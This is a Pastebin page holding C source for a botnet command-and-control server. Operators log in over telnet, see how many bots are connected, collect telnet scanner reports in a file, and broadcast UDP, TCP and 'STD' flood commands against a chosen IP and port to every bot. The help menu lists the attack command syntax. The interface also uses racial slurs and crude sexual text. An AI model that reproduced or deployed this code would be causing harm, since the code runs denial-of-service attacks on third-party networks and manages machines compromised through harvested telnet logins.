Advertisement
ddoswiki

Sex Server Side

Dec 10th, 2017
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.88 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18. //////////////////////////////////
  19. struct login_info {
  20. char username[20];
  21. char password[20];
  22. };
  23. static struct login_info accounts[22];
  24. struct clientdata_t {
  25. uint32_t ip;
  26. char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29. int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32. int sock;
  33. struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. //////////////////////////////////
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str) {
  49. int i;
  50. int begin = 0;
  51. int end = strlen(str) - 1;
  52. while (isspace(str[begin])) begin++;
  53. while ((end >= begin) && isspace(str[end])) end--;
  54. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55. str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58. int flags, s;
  59. flags = fcntl (sfd, F_GETFL, 0);
  60. if (flags == -1) {
  61. perror ("fcntl");
  62. return -1;
  63. }
  64. flags |= O_NONBLOCK;
  65. s = fcntl (sfd, F_SETFL, flags);
  66. if (s == -1) {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73. struct addrinfo hints;
  74. struct addrinfo *result, *rp;
  75. int s, sfd;
  76. memset (&hints, 0, sizeof (struct addrinfo));
  77. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  78. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  79. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  80. s = getaddrinfo (NULL, port, &hints, &result);
  81. if (s != 0) {
  82. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83. return -1;
  84. }
  85. for (rp = result; rp != NULL; rp = rp->ai_next) {
  86. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87. if (sfd == -1) continue;
  88. int yes = 1;
  89. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91. if (s == 0) {
  92. break;
  93. }
  94. close (sfd);
  95. }
  96. if (rp == NULL) {
  97. fprintf (stderr, "Could not bind\n");
  98. return -1;
  99. }
  100. freeaddrinfo (result);
  101. return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105. int sendMGM = 1;
  106. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107. char *wot = malloc(strlen(msg) + 10);
  108. memset(wot, 0, strlen(msg) + 10);
  109. strcpy(wot, msg);
  110. trim(wot);
  111. time_t rawtime;
  112. struct tm * timeinfo;
  113. time(&rawtime);
  114. timeinfo = localtime(&rawtime);
  115. char *timestamp = asctime(timeinfo);
  116. trim(timestamp);
  117. int i;
  118. for(i = 0; i < MAXFDS; i++)
  119. {
  120. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  121. if(sendMGM && managements[i].connected)
  122. {
  123. send(i, "\x1b[37m", 5, MSG_NOSIGNAL);
  124. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  125. send(i, ": ", 2, MSG_NOSIGNAL);
  126. }
  127. //printf("sent to fd: %d\n", i);
  128. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  129. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;35m8==D~ \x1b[1;35m", 13, MSG_NOSIGNAL);
  130. else send(i, "\n", 1, MSG_NOSIGNAL);
  131. }
  132. free(wot);
  133. }
  134. void *BotEventLoop(void *useless) {
  135. struct epoll_event event;
  136. struct epoll_event *events;
  137. int s;
  138. events = calloc (MAXFDS, sizeof event);
  139. while (1) {
  140. int n, i;
  141. n = epoll_wait (epollFD, events, MAXFDS, -1);
  142. for (i = 0; i < n; i++) {
  143. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  144. clients[events[i].data.fd].connected = 0;
  145. close(events[i].data.fd);
  146. continue;
  147. }
  148. else if (listenFD == events[i].data.fd) {
  149. while (1) {
  150. struct sockaddr in_addr;
  151. socklen_t in_len;
  152. int infd, ipIndex;
  153.  
  154. in_len = sizeof in_addr;
  155. infd = accept (listenFD, &in_addr, &in_len);
  156. if (infd == -1) {
  157. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  158. else {
  159. perror ("accept");
  160. break;
  161. }
  162. }
  163.  
  164. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  165. int dup = 0;
  166. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  167. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  168. if(clients[ipIndex].ip == clients[infd].ip) {
  169. dup = 1;
  170. break;
  171. }}
  172. if(dup) {
  173. if(send(infd, "!* ITRIEDTODUPBUTNAH\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  174. close(infd);
  175. continue;
  176. }
  177. s = make_socket_non_blocking (infd);
  178. if (s == -1) { close(infd); break; }
  179. event.data.fd = infd;
  180. event.events = EPOLLIN | EPOLLET;
  181. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  182. if (s == -1) {
  183. perror ("epoll_ctl");
  184. close(infd);
  185. break;
  186. }
  187. clients[infd].connected = 1;
  188. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  189. }
  190. continue;
  191. }
  192. else {
  193. int datafd = events[i].data.fd;
  194. struct clientdata_t *client = &(clients[datafd]);
  195. int done = 0;
  196. client->connected = 1;
  197. while (1) {
  198. ssize_t count;
  199. char buf[2048];
  200. memset(buf, 0, sizeof buf);
  201. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  202. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  203. trim(buf);
  204. if(strcmp(buf, "PING") == 0) {
  205. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  206. continue;
  207. }
  208. if(strstr(buf, "REPORT ") == buf) {
  209. char *line = strstr(buf, "REPORT ") + 7;
  210. fprintf(telFD, "%s\n", line);
  211. fflush(telFD);
  212. TELFound++;
  213. continue;
  214. }
  215. if(strstr(buf, "PROBING") == buf) {
  216. char *line = strstr(buf, "PROBING");
  217. scannerreport = 1;
  218. continue;
  219. }
  220. if(strstr(buf, "REMOVING PROBE") == buf) {
  221. char *line = strstr(buf, "REMOVING PROBE");
  222. scannerreport = 0;
  223. continue;
  224. }
  225. if(strcmp(buf, "PONG") == 0) {
  226. continue;
  227. }
  228. printf("\"%s\"\n", buf);
  229. }
  230. if (count == -1) {
  231. if (errno != EAGAIN) {
  232. done = 1;
  233. }
  234. break;
  235. }
  236. else if (count == 0) {
  237. done = 1;
  238. break;
  239. }
  240. if (done) {
  241. client->connected = 0;
  242. close(datafd);
  243. }
  244. }
  245. }
  246. }
  247. }
  248. }
  249. unsigned int BotsConnected() {
  250. int i = 0, total = 0;
  251. for(i = 0; i < MAXFDS; i++) {
  252. if(!clients[i].connected) continue;
  253. total++;
  254. }
  255. return total;
  256. }
  257. void *TitleWriter(void *sock) {
  258. int datafd = (int)sock;
  259. char string[2048];
  260. while(1) {
  261. memset(string, 0, 2048);
  262. sprintf(string, "%c]0;Bots: %d ~ Hoes: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  263. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  264. sleep(2);
  265. }}
  266. int Find_Login(char *str) {
  267. FILE *fp;
  268. int line_num = 0;
  269. int find_result = 0, find_line=0;
  270. char temp[512];
  271.  
  272. if((fp = fopen("login.txt", "r")) == NULL){
  273. return(-1);
  274. }
  275. while(fgets(temp, 512, fp) != NULL){
  276. if((strstr(temp, str)) != NULL){
  277. find_result++;
  278. find_line = line_num;
  279. }
  280. line_num++;
  281. }
  282. if(fp)
  283. fclose(fp);
  284. if(find_result == 0)return 0;
  285. return find_line;
  286. }
  287. void *BotWorker(void *sock) {
  288. int datafd = (int)sock;
  289. int find_line;
  290. OperatorsConnected++;
  291. pthread_t title;
  292. char buf[2048];
  293. char* username;
  294. char* password;
  295. memset(buf, 0, sizeof buf);
  296. char botnet[2048];
  297. memset(botnet, 0, 2048);
  298.  
  299. FILE *fp;
  300. int i=0;
  301. int c;
  302. fp=fopen("login.txt", "r");
  303. while(!feof(fp)) {
  304. c=fgetc(fp);
  305. ++i;
  306. }
  307. int j=0;
  308. rewind(fp);
  309. while(j!=i-1) {
  310. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  311. ++j;
  312. }
  313.  
  314. if(send(datafd, "\x1b[32mUsername? \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  315. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  316. trim(buf);
  317. char* nickstring;
  318. sprintf(accounts[find_line].username, buf);
  319. nickstring = ("%s", buf);
  320. find_line = Find_Login(nickstring);
  321. if(strcmp(nickstring, accounts[find_line].username) == 0){
  322. if(send(datafd, "\x1b[32m* \x1b[32mUser Success \x1b[31m*\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  323. if(send(datafd, "\x1b[32mPassword? \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  324. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  325. if(send(datafd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  326. trim(buf);
  327. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  328. memset(buf, 0, 2048);
  329. goto Banner;
  330. }
  331. failed:
  332. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  333. if(send(datafd, "\r\n\x1b[37m Access Denied Bitch\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  334. sleep(5);
  335. goto end;
  336. Banner:
  337. pthread_create(&title, NULL, &TitleWriter, sock);
  338. if (send(datafd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  339. char ascii_banner_line1 [5000];
  340. char ascii_banner_line2 [5000];
  341. char ascii_banner_line3 [5000];
  342. char ascii_banner_line4 [5000];
  343. char ascii_banner_line5 [5000];
  344. char ascii_banner_line6 [5000];
  345. char ascii_banner_line7 [5000];
  346.  
  347. sprintf(ascii_banner_line1, "\x1b[1;32m ███████╗███████╗██╗ ██╗ \r\n");
  348. sprintf(ascii_banner_line2, "\x1b[1;32m ██╔════╝██╔════╝╚██╗██╔╝ \r\n");
  349. sprintf(ascii_banner_line3, "\x1b[1;32m ███████╗█████╗ ╚███╔╝ \r\n");
  350. sprintf(ascii_banner_line4, "\x1b[1;32m ╚════██║██╔══╝ ██╔██╗ \r\n");
  351. sprintf(ascii_banner_line5, "\x1b[1;32m ███████║███████╗██╔╝ ██╗ \r\n");
  352. sprintf(ascii_banner_line6, "\x1b[1;32m ╚══════╝╚══════╝╚═╝ ╚═╝\r\n");
  353. sprintf(ascii_banner_line7, "\x1b[1;32mWelcome \x1b[1;35m%s \x1b[1;32mTo \x1b[1;35mThe \x1b[1;32mORGY\x1b[0;37m \r\n", accounts[find_line].username, buf);
  354. if (send(datafd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  355. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  356. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  357. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  358. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  359. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  360. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  361. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  362. while(1) {
  363. if(send(datafd, "\x1b[1;32m8==D~\x1b[1;32m", 12, MSG_NOSIGNAL) == -1) goto end;
  364. break;
  365. }
  366. pthread_create(&title, NULL, &TitleWriter, sock);
  367. managements[datafd].connected = 1;
  368.  
  369. while(fdgets(buf, sizeof buf, datafd) > 0)
  370. {
  371. if(strstr(buf, "bots")) {
  372. char botcount [2048];
  373. memset(botcount, 0, 2048);
  374. sprintf(botcount, "\x1b[1;35mBots: %d ~ Users: %d\r\n", BotsConnected(), OperatorsConnected);
  375. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  376. if(send(datafd, "\x1b[1;35m8==D~ \x1b[1;35m", 12, MSG_NOSIGNAL) == -1) goto end;
  377. continue;
  378. }
  379. if(strstr(buf, "help")) {
  380. pthread_create(&title, NULL, &TitleWriter, sock);
  381. char helpline1 [80];
  382. char helpline2 [80];
  383. char helpline3 [80];
  384. char helpline4 [80];
  385. char helpline5 [80];
  386. char helpline6 [80];
  387. char helpline7 [80];
  388. char helpline8 [80];
  389. char helpline9 [80];
  390. char helpline10 [80];
  391.  
  392. sprintf(helpline1, "\x1b[1;35m~Attack Commands~\r\n");
  393. sprintf(helpline2, "\x1b[1;32mUDP Attack ~ !* ANAL IP Port Time 32 1024 10 | ACK FLOOD\r\n");
  394. sprintf(helpline3, "\x1b[1;35mTCP Attack ~ !* ORAL IP Port Time 32 ack 1337 400| TCP FLOOD\r\n");
  395. sprintf(helpline4, "\x1b[1;32mSTD Attack ~ !* AIDS IP Port Time | STD FLOOD\r\n");
  396. sprintf(helpline5, "\x1b[1;35mKill Attacks ~ !* STP\r\n");
  397. sprintf(helpline6, "\x1b[1;32m\r\n");
  398. sprintf(helpline7, "\x1b[1;35m~General Commands~\r\n");
  399. sprintf(helpline8, "\x1b[1;32mShow Botcount ~ BOTS\r\n");
  400. sprintf(helpline9, "\x1b[1;35mTelnet Rep ~ !* SCANNER ON | !* SCANNER OFF\r\n");
  401. sprintf(helpline10, "\x1b[1;32mClear Screen ~ CLEAR | cls\r\n");
  402.  
  403. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  404. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  405. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  406. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  407. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  408. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  409. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  410. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  411. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  412. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  413. pthread_create(&title, NULL, &TitleWriter, sock);
  414. if(send(datafd, "\x1b[1;32m8==D~ \x1b[1;32m", 12, MSG_NOSIGNAL) == -1) goto end;
  415. continue;
  416. }
  417. if(strstr(buf, "cls")) {
  418. char clearscreen [2048];
  419. memset(clearscreen, 0, 2048);
  420. sprintf(clearscreen, "\033[2J\033[1;1H");
  421. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  422. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  423. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  424. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  425. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  426. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  427. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  428. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  429. while(1) {
  430. if(send(datafd, "\x1b[1;32m8==D~ \x1b[1;32m", 12, MSG_NOSIGNAL) == -1) goto end;
  431. break;
  432. }
  433. continue;
  434. }
  435. if(strstr(buf, "cls")) {
  436. char clearscreen [2048];
  437. memset(clearscreen, 0, 2048);
  438. sprintf(clearscreen, "\033[2J\033[1;1H");
  439. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  440. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  441. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  442. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  443. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  444. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  445. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  446. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  447. while(1) {
  448. if(send(datafd, "\x1b[1;32m8==D~ \x1b[1;32m", 12, MSG_NOSIGNAL) == -1) goto end;
  449. break;
  450. }
  451. continue;
  452. }
  453. if(strstr(buf, "LOG")) {
  454. char logoutmessage [2048];
  455. memset(logoutmessage, 0, 2048);
  456. sprintf(logoutmessage, "\x1b[1;32mBotnet Shutting Down, User %s Signing Out...", accounts[find_line].username);
  457. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  458. sleep(5);
  459. goto end;
  460. }
  461. trim(buf);
  462. if(send(datafd, "\x1b[1;35m8==D~ \x1b[1;35m", 11, MSG_NOSIGNAL) == -1) goto end;
  463. if(strlen(buf) == 0) continue;
  464. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  465.  
  466. FILE *LogFile;
  467. LogFile = fopen("sex.log", "a");
  468. time_t now;
  469. struct tm *gmt;
  470. char formatted_gmt [50];
  471. char lcltime[50];
  472. now = time(NULL);
  473. gmt = gmtime(&now);
  474. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  475. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  476. fclose(LogFile);
  477. broadcast(buf, datafd, accounts[find_line].username);
  478. memset(buf, 0, 2048);
  479. }
  480. end:
  481. managements[datafd].connected = 0;
  482. close(datafd);
  483. OperatorsConnected--;
  484. }
  485. void *BotListener(int port)
  486. {
  487. int sockfd, newsockfd;
  488. socklen_t clilen;
  489. struct sockaddr_in serv_addr, cli_addr;
  490. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  491. if (sockfd < 0) perror("ERROR opening socket");
  492. bzero((char *) &serv_addr, sizeof(serv_addr));
  493. serv_addr.sin_family = AF_INET;
  494. serv_addr.sin_addr.s_addr = INADDR_ANY;
  495. serv_addr.sin_port = htons(port);
  496. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  497. listen(sockfd,5);
  498. clilen = sizeof(cli_addr);
  499. while(1)
  500.  
  501. { printf("\x1b[1;32m8==D~ \x1b[1;35m -> [\x1b[1;31mNIGGA JOINED THE NET] ");
  502. client_addr(cli_addr);
  503. FILE *logFile;
  504. logFile = fopen("IP.log", "a");
  505. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  506. fclose(logFile);
  507. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  508. if (newsockfd < 0) perror("ERROR on accept");
  509. pthread_t thread;
  510. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  511. }
  512. }
  513. int main (int argc, char *argv[], void *sock)
  514. {
  515. signal(SIGPIPE, SIG_IGN);
  516. int s, threads, port;
  517. struct epoll_event event;
  518. if (argc != 4) {
  519. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  520. exit (EXIT_FAILURE);
  521. }
  522. port = atoi(argv[3]);
  523. telFD = fopen("telnet.txt", "a+");
  524. threads = atoi(argv[2]);
  525. listenFD = create_and_bind (argv[1]);
  526. if (listenFD == -1) abort ();
  527. s = make_socket_non_blocking (listenFD);
  528. if (s == -1) abort ();
  529. s = listen (listenFD, SOMAXCONN);
  530. if (s == -1) {
  531. perror ("listen");
  532. abort ();
  533. }
  534. epollFD = epoll_create1 (0);
  535. if (epollFD == -1) {
  536. perror ("epoll_create");
  537. abort ();
  538. }
  539. event.data.fd = listenFD;
  540. event.events = EPOLLIN | EPOLLET;
  541. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  542. if (s == -1) {
  543. perror ("epoll_ctl");
  544. abort ();
  545. }
  546. pthread_t thread[threads + 2];
  547. while(threads--) {
  548. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  549. }
  550. pthread_create(&thread[0], NULL, &BotListener, port);
  551. while(1) {
  552. broadcast("PING", -1, "FBI");
  553. sleep(60);
  554. }
  555. close (listenFD);
  556. return EXIT_SUCCESS;
  557. }
  558. void client_addr(struct sockaddr_in addr){
  559. printf("IP:%d.%d.%d.%d\n",
  560. addr.sin_addr.s_addr & 0xFF,
  561. (addr.sin_addr.s_addr & 0xFF00)>>8,
  562. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  563. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  564. FILE *logFile;
  565. logFile = fopen("server.log", "a");
  566. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  567. addr.sin_addr.s_addr & 0xFF,
  568. (addr.sin_addr.s_addr & 0xFF00)>>8,
  569. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  570. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  571. fclose(logFile);
  572. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement